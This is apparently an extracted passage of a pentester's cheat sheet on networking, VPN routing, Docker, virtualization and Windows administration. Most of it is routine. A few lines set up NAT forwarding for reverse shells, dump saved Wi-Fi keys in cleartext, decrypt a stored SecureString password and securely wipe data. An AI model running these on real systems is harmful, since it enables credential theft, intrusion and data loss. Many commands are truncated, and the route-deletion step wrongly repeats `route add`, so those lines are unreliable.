Translate the QR code with your favorite mobile app and send the contents via a secure channel (e. g., a
messenger). Now your teammates can reverse the process to get the initial zip file:

PS > .\b64decode.ps1 .\b64.txt out.7z

b64decode.ps1
$IN = $args[0]
$OUT = $args[1]
$data = [IO.File]::ReadAllText("$pwd\$IN")
[IO.File]::WriteAllBytes("$pwd\$OUT", [Convert]::FromBase64String($data))

Debian to Kali

sudo sh -c 'echo "\ndeb http://http.kali.org/kali kali-rolling main contrib non-free" >> /etc/
sudo apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv-keys ED444FF07D8D0BF6
sudo apt update
sudo apt install kali-tools-top10 -y

Networking

https://linkmeup.ru/blog/11.html
https://habr.com/ru/post/307252/
https://kbespalov.medium.com/виртуальные-сетевые-устройства-в-linux-linux-bridge-7e0e887edd01

Log Connections
tcpdump/tshark

Register ICMP replies from 10.10.13.38:

$ sudo tcpdump -n -i tun0 -XSs 0 'src 10.10.13.38 and icmp[icmptype]==8'

iptables

Add rule to register new (does not watch for related, established) connections to your machine:

$ sudo iptables -A INPUT -p tcp -m state --state NEW -j LOG --log-prefix "IPTables New-Connect

Check the logs:

$ sudo grep IPTables /var/log/messages

Delete rule:

$ sudo iptables -D INPUT -p tcp -m state --state NEW -j LOG --log-prefix "IPTables New-Connect

Tools

dhclient

Release the current lease on eth0 and obtain a fresh IP via DHCP in Linux:

$ sudo dhclient -v -r eth0


$ sudo dhclient -v eth0

iptables

https://www.booleanworld.com/depth-guide-iptables-linux-firewall/
https://habr.com/ru/sandbox/18975/

List rules in all chains (default table is filter, there are mangle, nat and raw tables beside it):

$ sudo iptables -L -n --line-numbers [-t filter]

Print rules for all chains (for a specific chains):


$ sudo iptables -S [INPUT [1]]

fail2ban

/etc/fail2ban/filter.d - filters which turn into user-defined fail2ban iptables rules


(automatically).

Status:

$ sudo service fail2ban status


$ sudo fail2ban-client status
$ sudo fail2ban-client status sshd

Unban:

$ sudo fail2ban-client unban --all


$ sudo fail2ban-client set sshd unbanip <IP>

OpenVPN

https://wiki.calculate-linux.org/openvpn

DHCP Server & Linux Hotspot

https://luemmelsec.github.io/I-got-99-problems-but-my-NAC-aint-one/
https://learn.adafruit.com/setting-up-a-raspberry-pi-as-a-wifi-access-point/install-software

Install stuff:

sudo apt install isc-dhcp-server hostapd -y


sudo systemctl enable isc-dhcp-server
sudo systemctl unmask hostapd
sudo systemctl enable hostapd

Configure DHCP:

/etc/dhcp/dhcpd.conf
option domain-name "local";
option domain-name-servers 8.8.8.8, 8.8.4.4;
default-lease-time 600;
max-lease-time 7200;
subnet 192.168.200.0 netmask 255.255.255.0 {
range 192.168.200.2 192.168.200.20;
option subnet-mask 255.255.255.0;
option broadcast-address 192.168.200.255;
}

Configure hotspot:

/etc/hostapd/hostapd.conf
interface=wlan0

driver=nl80211
ssid=LinuxHotspot
hw_mode=g
channel=11
macaddr_acl=0
ignore_broadcast_ssid=0
auth_algs=1
wpa=2
wpa_passphrase=Passw0rd!
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
wpa_group_rekey=86400
ieee80211n=1
wme_enabled=1

Configure interface (+ set the iface name in /etc/default/isc-dhcp-server ):

/etc/network/interfaces
iface wlan0 inet static
address 192.168.200.1
netmask 255.255.255.0

Set static IP on the interface:

sudo ifconfig wlan0 down


sudo ifconfig wlan0 192.168.200.1
sudo ifconfig wlan0 up

Restart the services:

$ sudo service isc-dhcp-server restart


$ sudo service hostapd restart

Quick Configurations
Static Config

Manually

$ sudo service NetworkManager stop


$ ifconfig
$ sudo ifconfig eth0 10.10.13.37 netmask 255.255.255.0
$ sudo route add default gw 10.10.13.1 dev eth0
$ route -n

$ sudo vi /etc/resolv.conf
domain megacorp.local
search megacorp.local
nameserver 192.168.0.1
$ ping 8.8.8.8
$ nslookup ya.ru
$ sudo systemctl enable ssh --now

netplan

/etc/netplan/*.yaml :

network:
version: 2
renderer: networkd
ethernets:
eth0:
addresses: [10.10.13.37/24]
gateway4: 10.10.13.1
dhcp4: true
optional: true
nameservers:
addresses: [8.8.8.8,8.8.4.4]

Apply:

$ sudo service NetworkManager stop


$ sudo netplan apply

resolvconf

https://unix.stackexchange.com/questions/128220/how-do-i-set-my-dns-when-resolv-conf-is-being-
overwritten
$
$ sudo
sudo apt install resolvconf
vi /etc/resolvconf/resolv.conf.d/base
$ sudo resolvconf -u

Simultaneous Interfaces
Configure multiple interfaces to work simultaneously:

$ cat /etc/network/interfaces
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

source /etc/network/interfaces.d/*

# NAT
allow-hotplug eth0
iface eth0 inet dhcp

# Internal
allow-hotplug eth1
iface eth1 inet dhcp

# Host-only
allow-hotplug eth2
iface eth2 inet dhcp

# The loopback network interface


auto lo
iface lo inet loopback

$ ifup eth0
$ ifup eth1
$ ifup eth2

Inner and Outer Traffic


Route inner traffic to eth0 (lan), Internet to wlan0 (wan):

$ route -n
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
0.0.0.0 192.168.0.1 0.0.0.0 UG 100 0 0 eth0
0.0.0.0 172.20.10.1 0.0.0.0 UG 600 0 0 wlan0
172.20.10.0 0.0.0.0 255.255.255.240 U 600 0 0 wlan0
192.168.0.0 0.0.0.0 255.255.255.0 U 100 0 0 eth0
$ sudo ip route add 192.168.0.0/16 via 192.168.0.1 metric 100 dev eth0
$ sudo ip route add 172.16.0.0/12 via 192.168.0.1 metric 100 dev eth0
$ sudo ip route add 10.0.0.0/8 via 192.168.0.1 metric 100 dev eth0
$ sudo ip route del 0.0.0.0/0 via 192.168.0.1 dev eth0

$ route -n
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
0.0.0.0 172.20.10.1 0.0.0.0 UG 600 0 0 wlan0

10.0.0.0 192.168.0.1 255.0.0.0 UG 100 0 0 eth0


172.16.0.0 192.168.0.1 255.240.0.0 UG 100 0 0 eth0
172.20.10.0 0.0.0.0 255.255.255.240 U 600 0 0 wlan0
192.168.0.0 0.0.0.0 255.255.255.0 U 100 0 0 eth0
192.168.0.0 192.168.0.1 255.255.0.0 UG 100 0 0 eth0

$ sudo chattr -i /etc/resolv.conf


$ sudo vi /etc/resolv.conf
...change dns resolve order if necessary...

Wrap All Traffic into VPN in Windows


Check the name of VPN interface ( Virtual Ethernet Adapter ):

Cmd > ipconfig /all

Адаптер Ethernet Ethernet 2:

DNS-суффикс подключения . . . . . :
Описание. . . . . . . . . . . . . : Virtual Ethernet Adapter
...
IPv4-адрес. . . . . . . . . . . . : 192.168.100.181(Основной)

Checks its id ( 16 , it's shown in decimal):

Cmd > route print -4


===========================================================================
Список интерфейсов
16...00 ff 00 ff 00 ff ......Virtual Ethernet Adapter

Add a static route to wrap all traffic into the VPN gateway. To achieve that specify VPN interface id in
hexadecimal ( 0x10 in this example) and set higher priority for this route (i.e., lower metric) than default
gateway route has:

Cmd > route add 0.0.0.0 mask 0.0.0.0 192.168.100.1 metric 7 if 0x10
Cmd
... > route print -4
IPv4 таблица маршрута
===========================================================================
Активные маршруты:
Сетевой адрес Маска сети Адрес шлюза Интерфейс Метрика
0.0.0.0 0.0.0.0 192.168.0.1 192.168.0.101 25
0.0.0.0 0.0.0.0 192.168.100.1 192.168.100.181 7

To delete the route run:

Cmd > route add 0.0.0.0 mask 0.0.0.0 192.168.100.1

Routing

VM as a Router

https://0xdf.gitlab.io/2021/05/04/networking-vms-for-htb.html

Configure traffic routing and NAT from a Windows host (192.168.0.101, eth0) through a Linux VM
(192.168.0.181, eth1 bridged interface) to VPN (10.10.10.0/24, tun0).

Enable IP forwarding on Linux VM:

$ sudo sh -c 'echo 1 > /proc/sys/net/ipv4/ip_forward'

Create iptables rules to do the forwarding on Linux VM:

$ sudo iptables -A FORWARD -i tun0 -o eth1 -m state --state RELATED,ESTABLISHED -j ACCEPT


$ sudo iptables -A FORWARD -i eth1 -o tun0 -j ACCEPT

For the purpose of redirecting NEW connections from Linux tun0 to Windows host I can set socat on a
needed port as a quick solution (actually it's not necessary for this routing task):

$ sudo socat TCP-LISTEN:1337,fork TCP:192.168.0.101:1337

Create iptables rules to do NAT on Linux VM:

$ sudo iptables -t nat -A POSTROUTING -s 192.168.0.0/24 -o tun0 -j MASQUERADE

Add a route to Linux VM on Windows host:

Cmd > route add 10.10.10.0 mask 255.255.255.0 192.168.0.181


OpenVPN Jump Server
I shall configure an intermediate OpenVPN server to serve as a jump box (1st hop) to connect to the target
lab. It's helpful when the target OpenVPN server (2nd hop) doesn't allow to have multiple connections with
the same common name ( --duplicate-cn not set), i.e. using the same client's .ovpn profile.

OpenVPN Jump Server Scheme

Quick OpenVPN server installation:

https://www.cyberciti.biz/faq/howto-setup-openvpn-server-on-ubuntu-linux-14-04-or-16-04-lts/

$ sudo apt update


$ wget https://git.io/vpn -O openvpn-install.sh
$ chmod +x openvpn-install.sh
$ sudo bash openvpn-install.sh

Check OpenVPN server status:

$ sudo service openvpn-server@server status

Change server config ( /etc/openvpn/server/server.conf ):

# Allocate a virtual /30 network


topology net30

# Add as many clients as you need


route 10.8.1.0 255.255.255.0
route 10.8.2.0 255.255.255.0

# Set a directory to look for clients' configs


client-config-dir ccd

Create a directory with clients' configs to push and set static IPs for clients:

$ sudo mkdir /etc/openvpn/server/ccd


$ sudo sh -c 'echo "ifconfig-push 10.8.1.1 10.8.1.2" > /etc/openvpn/server/ccd/kali'
$ sudo sh -c 'echo "ifconfig-push 10.8.1.5 10.8.1.6" > /etc/openvpn/server/ccd/parrot'
$ sudo sh -c 'echo "ifconfig-push 10.8.2.1 10.8.2.2" > /etc/openvpn/server/ccd/ubuntu'

For other clients /30 subnets must be used as well:

[1,2] [5,6] [9,10] [13,14] [17,18] [21,22] [25,26] [29,30] [33,34] [37,38] [41,42] [45,46] [49

Restart OpenVPN server ( tun0 ):

$ sudo service openvpn-server@server restart

Start OpenVPN client ( tun1 ):

$ nohup sudo openvpn --client --config lab.ovpn &

Check interfaces:

$ ifconfig tun0
tun0: flags=4305<UP,POINTOPOINT,RUNNING,NOARP,MULTICAST> mtu 1500
inet 10.8.0.1 netmask 255.255.255.255 destination 10.8.0.2
inet6 fe80::ca99:1dec:45c1:5d7a prefixlen 64 scopeid 0x20<link>
inet6 fddd:1194:1194:1194::1 prefixlen 64 scopeid 0x0<global>
unspec 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00 txqueuelen 100 (UNSPEC)
RX packets 5 bytes 420 (420.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 9 bytes 724 (724.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
$ ifconfig tun1
tun1: flags=4305<UP,POINTOPOINT,RUNNING,NOARP,MULTICAST> mtu 1500
inet 10.10.13.37 netmask 255.255.254.0 destination 10.10.13.37
inet6 dead:beef:2::10ef prefixlen 64 scopeid 0x0<global>
inet6 fe80::bbe3:5b14:117e:4b99 prefixlen 64 scopeid 0x20<link>
unspec 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00 txqueuelen 100 (UNSPEC)
RX packets 5 bytes 420 (420.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 10 bytes 800 (800.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Configure NAT:

# Source NAT to reach resources from tun0 to tun1


$ sudo iptables -t nat -A POSTROUTING -s 10.8.0.0/16 -o tun1 -j SNAT --to-source 10.10.13.37
# Destination NAT to trigger reverse shells from tun1 to tun0 (separate port ranges for separ
$ sudo iptables -t nat -A PREROUTING -i tun1 -p tcp --dport 6001:7000 -j DNAT --to-destination
$ sudo iptables -t nat -A PREROUTING -i tun1 -p tcp --dport 7001:8000 -j DNAT --to-destination
$ sudo iptables -t nat -A PREROUTING -i tun1 -p tcp --dport 8001:9000 -j DNAT --to-destination

Make iptables rules persistent:

$ sudo apt install iptables-persistent -y


$ sudo service netfilter-persistent save

Add the following directive to client's .ovpn config to ignore default gateway redirection:

pull-filter ignore "redirect-gateway"

Connect to tun0 as a client (example for the kali client) and manually add a route only for traffic you
want to go through VPN:

$ sudo openvpn kali.ovpn


$ sudo ip route add 10.10.10.0/24 via 10.8.1.2 metric 0 dev tun0

Virtualization

Docker

List all running containers:

$ docker ps -a

Stop all running containers:

$ docker stop `docker container ls -aq`

Remove stopped containers:

$ docker rm -v `docker container ls -aq -f status=exited`


Remove all images:

$ docker rmi `docker images -aq`

Attach to a running container:

$ docker exec -it <CONTAINER> /bin/bash

Unsorted:

$ docker start -ai <CONTAINER>


$ docker cp project/. <CONTAINER>:/root/project
$ docker run --rm -it <CONTAINER> --name <NAME> ubuntu bash
$ docker build -t <USERNAME>/<IMAGE> .

Installation

Linux

docker-engine

$ sudo apt install apt-transport-https ca-certificates curl gnupg-agent software-properties-co


(Ubuntu) $ curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
(Kali) $ curl -fsSL https://download.docker.com/linux/debian/gpg | sudo apt-key add -
[$ sudo apt-key fingerprint 0EBFCD88]
(Ubuntu) $ sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu
(Kali) $ echo 'deb [arch=amd64] https://download.docker.com/linux/debian buster stable' | sudo
$ sudo apt update
[$ apt-cache policy docker-ce]
$ sudo apt install docker-ce -y
[$ sudo systemctl status docker]
$ sudo usermod -aG docker ${USER}
relogin
[$ docker run --rm hello-world]

docker-compose

https://docs.docker.com/compose/install/#install-compose-on-linux-systems

$ sudo curl -L "https://github.com/docker/compose/releases/download/1.27.4/docker-compose-$(un


$ sudo chmod +x /usr/local/bin/docker-compose
$ sudo ln -s /usr/local/bin/docker-compose /usr/bin/docker-compose
Hyper-V

https://xakep.ru/2017/08/09/hyper-v-internals/

Enable feature:

PS > Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Hyper-V -All

Sharing VPN

https://win10.guru/hyper-v-virtual-machine-use-host-vpn-connection/

Enhanced Session Mode

https://techcommunity.microsoft.com/t5/virtualization/sneak-peek-taking-a-spin-with-enhanced-linux-
vms/ba-p/382415
https://www.kali.org/docs/virtualization/install-hyper-v-guest-enhanced-session-mode/

1. sudo apt install hyperv-daemons

2. kali-tweaks

3. "Configure the system for Hyper-V enhanced session mode" > Shut down VM.

4. Set-VM "Kali Linux" -EnhancedSessionTransportType HVSocket

5. Power up VM.

VirtualBox

DHCP
Configure DHCP in VBox:

Cmd > "C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" dhcpserver add --netname intnet --ip


Time Sync
Disable time synchronization with host OS (useful when syncing Kerberos time with ntpdate ):

Cmd > VBoxManage setextradata "Kali Linux" "VBoxInternal/Devices/VMMDev/0/Config/GetHostTimeDi

Shared Folders (depreciated)


Mount:

$ mkdir ~/Desktop/Share
$ mount -t vboxsf /mnt/share-host ~/Desktop/Share
Or (if mounted from VBox settings)
$ ln -s /mnt/share-host ~/Desktop/Share

$ sudo usermod -aG vboxsf `whoami`


$ sudo reboot # or re-login

Automount:

$ crontab -e
"@reboot sleep 10; mount -t vboxsf /mnt/share-host ~/Desktop/Share"

VMWare

Shared Folders

https://linuxhint.com/mount_vmware_shares_command_line_linux_vm/

Mount:

$ sudo mkdir /mnt/share-host


$ sudo mount -t fuse.vmhgfs-fuse .host:/share-host /mnt/share-host

Windows

Processes
Kill process from cmd:

Cmd > taskkill /IM:calc.exe /F

Secure Delete

cipher

Cmd > cipher /w:H

sdelete

File:

Cmd > sdelete -p 7 testfile.txt

Directory (recursively):

Cmd > sdelete -p 7 -r "C:\temp"

Disk or partition:

Cmd > sdelete -p 7 -c H:

System Perfomance

Cmd > perfmon /res

Network

Connections and Routes

Cmd > netstat -b


Cmd > netstat -ano
Cmd > route print [-4]
Clean Cache

Cmd > netsh int ip reset


Cmd > netsh int tcp reset
Cmd > ipconfig /flushdns
Cmd > netsh winsock reset

Cmd > route -f


[Cmd> ipconfig -renew]

Hide/unhide computer name on LAN:

Cmd > net config server


Cmd > net config server /hidden:yes
Cmd > net config server /hidden:no
(+ reboot)

Disable NIC

wmic nic get name, index


wmic path win32_networkadapter where index=<INDEX_ID> call {disable|enable}

Symlinks

Cmd > mklink Link <FILE>


Cmd > mklink /D Link <DIRECTORY>

Wi-Fi Credentials

https://www.nirsoft.net/utils/wireless_key.html#DownloadLinks

> netsh wlan show profiles


> netsh wlan show profiles "ESSID" key=clear

Installed Software
PS > Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*

ADS

PS > Get-Item 'file.txt' -Stream *


PS > Get-Content 'file.txt' -Stream Password
Or
PS > type 'file.txt:Password'

.msc

secpol.msc -- Local Security Policy -- «Локальная политика безопасности»


gpedit.msc -- Local Group Policy Editor -- «Редактор локальной групповой политики»
lusrmgr.msc -- Local Users and Groups (Local) -- «Локальные пользователи и группы (локально)»
certmgr.msc -- Certificates - Current User -- «Сертификаты - текущий пользователь»

Administrative Tools

Cmd > mmc.exe %SystemRoot%\system32\dsa.msc -- Active Directory Users and Computers


Cmd > mmc.exe %SystemRoot%\system32\dnsmgmt.msc -- DNS
Cmd > mmc.exe %SystemRoot%\system32\gpmc.msc -- Group Policy Management
Cmd > mmc.exe %SystemRoot%\system32\adsiedit.msc -- ADSI Edit

KRShowKeyMgr
Run:

Cmd > rundll32.exe keymgr.dll, KRShowKeyMgr

PowerShell Secure Strings


Encrypt:

PS > $securePassword = Read-Host -AsSecureString "Enter password"


Enter password: Passw0rd!
PS > $encString = $securePassword | ConvertFrom-SecureString
PS > $encString
01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e179d870f4f6374bab8b8d97c5375ed100000000020000
34bd5919a35ceab1b8b2fdfbb31fe53a7aa8d1f9078604400000006f63448217f77956c05e0028dd92c2f2466d180b

Decrypt:

PS > $securePassword = ConvertTo-SecureString $encString -Force


PS > (New-Object PSCredential 0, $securePassword).GetNetworkCredential().Password
Passw0rd!

Permissions
Take own of a directory and remove it (run cmd.exe as admin):

Cmd > takeown /F C:\$Windows.~BT\* /R /A


Cmd > icacls C:\$Windows.~BT\*.* /T /grant administrators:F
Cmd > rmdir /S /Q C:\$Windows.~BT\

Change ownership of a file:

PS > $Acl = Get-ACL $filename


PS > $AccessRule= New-Object System.Security.AccessControl.FileSystemAccessRule("snovvcrash",
PS > $Acl.AddAccessRule($AccessRule)
PS > Set-Acl $filename $Acl

DISM

TelnetClient

Cmd > DISM /online /Enable-Feature /FeatureName:TelnetClient

BitLocker
Check encryption status of all drives (must be elevated):

Cmd > manage-bde -status

You might also like